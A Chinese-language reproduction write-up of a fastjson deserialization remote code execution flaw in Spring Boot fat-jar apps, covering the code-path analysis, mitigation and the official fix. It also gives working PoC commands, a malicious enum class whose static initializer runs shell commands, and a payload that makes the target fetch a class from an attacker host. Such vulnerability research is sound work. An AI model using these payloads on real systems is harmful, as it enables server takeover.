1. 漏洞简介

本次复现使用的漏洞环境:fastjson 1.2.83

漏洞影响范围:1.2.68 ≤ fastjson ≤ 1.2.83

唯一的部署前置条件是目标运行在 Spring Boot 可执行 fat-jar 模式下(即通过 java -jar xxx.jar 启动),该模式是 Spring Boot 应用最常见的部署方式

该漏洞属于不可信数据反序列化导致的远程代码执行。fastjson 在 AutoType 关闭时仍会把攻击者控制的类型名拼成资源路径并进行远程探测;只要探测到的类带有 JSONType 注解,就会被当作可信类型继续加载。攻击者可借此从远程 jar 定义任意类并执行其静态初始化块,最终在应用进程权限下执行任意命令

2. 漏洞复现

2.1 环境准备

https://github.com/dichen-L/CVE-2026-16723-vul/

按照步骤一步步搭建即可

2.2 复现步骤

1.在 poc 目录运行(poc 会自动生成并托管恶意类、打印 payload 并发送):

python poc.py --host <attacker-ip> --command "whoami > poc_result.txt" --target http://127.0.0.1:8090/api/parse-boot-loader

生成poc_result.txt文件

2.把 payload 嵌套在目标 DTO 字段中:

python poc.py --host <attacker-ip> --command "whoami > poc_result2.txt" --target http://127.0.0.1:8090/api/login-boot-loader --body "{\"username\":\"alice\",\"password\":\"p\",\"extra\":{{payload}}}"

生成poc_result2.txt文件

3. 代码分析

3.1 请求参数传入

HTTP body 中的 @type 由 Spring MVC 以 String 接收,再交给 fastjson:

DefaultJSONParser#parseObject 解析对象时读取 @type,交给ParserConfig#checkAutoType:

传入的 typeName 就是攻击者可控的完整字符串,后续判断都基于它

3.2 参数处理

checkAutoType 先做 SafeMode检查;默认配置下 SafeMode 为 false,进入 else 分支

流程继续,来到关键代码:

这一步没有判断 autoTypeSupport:只要 @type 能拼成一个可解析的资源路径,fastjson 就会通过类加载器读取它。把 @type 写成 jar URL 的点号形式后,replace('.', '/') 会把它还原成 jar:http://...!/...class,LaunchedURLClassLoader 会下载攻击者 jar 并读取 class 字节

随后 TypeCollector 解析字节码,发现攻击者 jar 中的恶意 class 存在@JSONType 注解时把 jsonType 置为 true。

接着:

jsonType 来自攻击者 jar 中的注解,等于让远程 class 自己证明“可信”

TypeUtils#loadClass 使用解析线程的 TCCL:

stock Tomcat 的 TomcatEmbeddedWebappClassLoader#loadFromParent 走 Class.forName(name, false, parent),URL 形式的二进制名会被拒绝,只留下远程探测;

把 TCCL 设为 Boot 的 LaunchedURLClassLoader 后,loadClass(dotForm) 才能完成 defineClass

这就是本文强调使用 Spring Boot fat-jar 方式来启动的实际含义

3.3 漏洞触发点

jsonType=true 时,checkAutoType 直接返回 clazz,跳过后面的 ClassLoader/DataSource/RowSet 检查和“autoType is not support”拒绝。

之后 ParserConfig#getDeserializer 按类型选择反序列化器:

EnumDeserializer 的构造器会调用 enumClass.getEnumConstants(),会主动初始化 enum 类,并执行攻击者 class 的 <clinit> ,这就是用 enum 类作为恶意 class 的原因

3.4 恶意 JAR 文件构造

要让 fastjson 加载并执行,JAR 里的 class 必须同时满足三个条件:二进制名就是嵌套 jar URL、带 @JSONType、在初始化时执行代码

class 按 enum 生成:

• this_class 写成 jar:http://<decimal-ip>:<port>/<path>!/<Class>,父类是 java/lang/Enum;

• class 属性 RuntimeVisibleAnnotations 写入 Lcom/alibaba/fastjson/annotation/JSONType;;

• 要有 PWN(enum 常量)与 $VALUES字段, <init>(String,int)、<clinit>、values()方法;

• <clinit> 先执行 Runtime.getRuntime().exec(new String[]{shell, shellFlag, command}),再打印 POC_EXECUTED:<Class>,最后创建 enum 常量与 $VALUES。

等价的 Java 语义大致如下(实际 class 文件的 this_class 是 URL,不能写成普通 Java 源文件):

@JSONType
enum MaliciousClass {
    PWN;
    static {
        Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", command});
        System.out.println("POC_EXECUTED:Poc");
        //创建enum常量
        PWN = new MaliciousClass("PWN", 0);
        $VALUES = new MaliciousClass[]{PWN};
    }
}

3.5 Payload 构造

构造过程:

1.先确定攻击者 class 的内部名(this_class)为 jar:http://2130706433:19090/evilEnum!/ExploitEnum

2.因为 fastjson 会把 @type 中的每个 . 换成 /,所以把内部名反向编码::// 写成 :..,/ 写成 .

3.主机不能带点号,否则 127.0.0.1 会被换成 127/0/0/1;使用十进制 IP 2130706433 表示 127.0.0.1

4.最小 payload:

{"@type":"jar:http:..2130706433:19090.evilEnum!.ExploitEnum"}

4. 漏洞修复

4.1 临时缓解

开启 SafeMode:启动参数 -Dfastjson.parser.safeMode=true,或在代码中调用 ParserConfig.getGlobalInstance().setSafeMode(true)

SafeMode 的检查早于资源探测,同一 payload 会直接返回“safeMode not support autoType”,攻击者服务收不到请求,<clinit> 不会执行

4.2 官方修复

https://github.com/alibaba/fastjson/compare/fix/1.2.83-autotype-hardening

fastjson 1.2.84 在 checkAutoType 的长度检查之后、资源探测之前拒绝 URL 特殊字符:

TypeUtils.hasIllegalTypeNameChars:

TypeUtils#loadClass 入口也加了同样的检查

本链必然包含 jar: 和 !/ ,因此在探测前就被拒绝

同一 payload 在 1.2.84 上返回“autoType is not support”,攻击者服务接收不到请求,marker 不再生成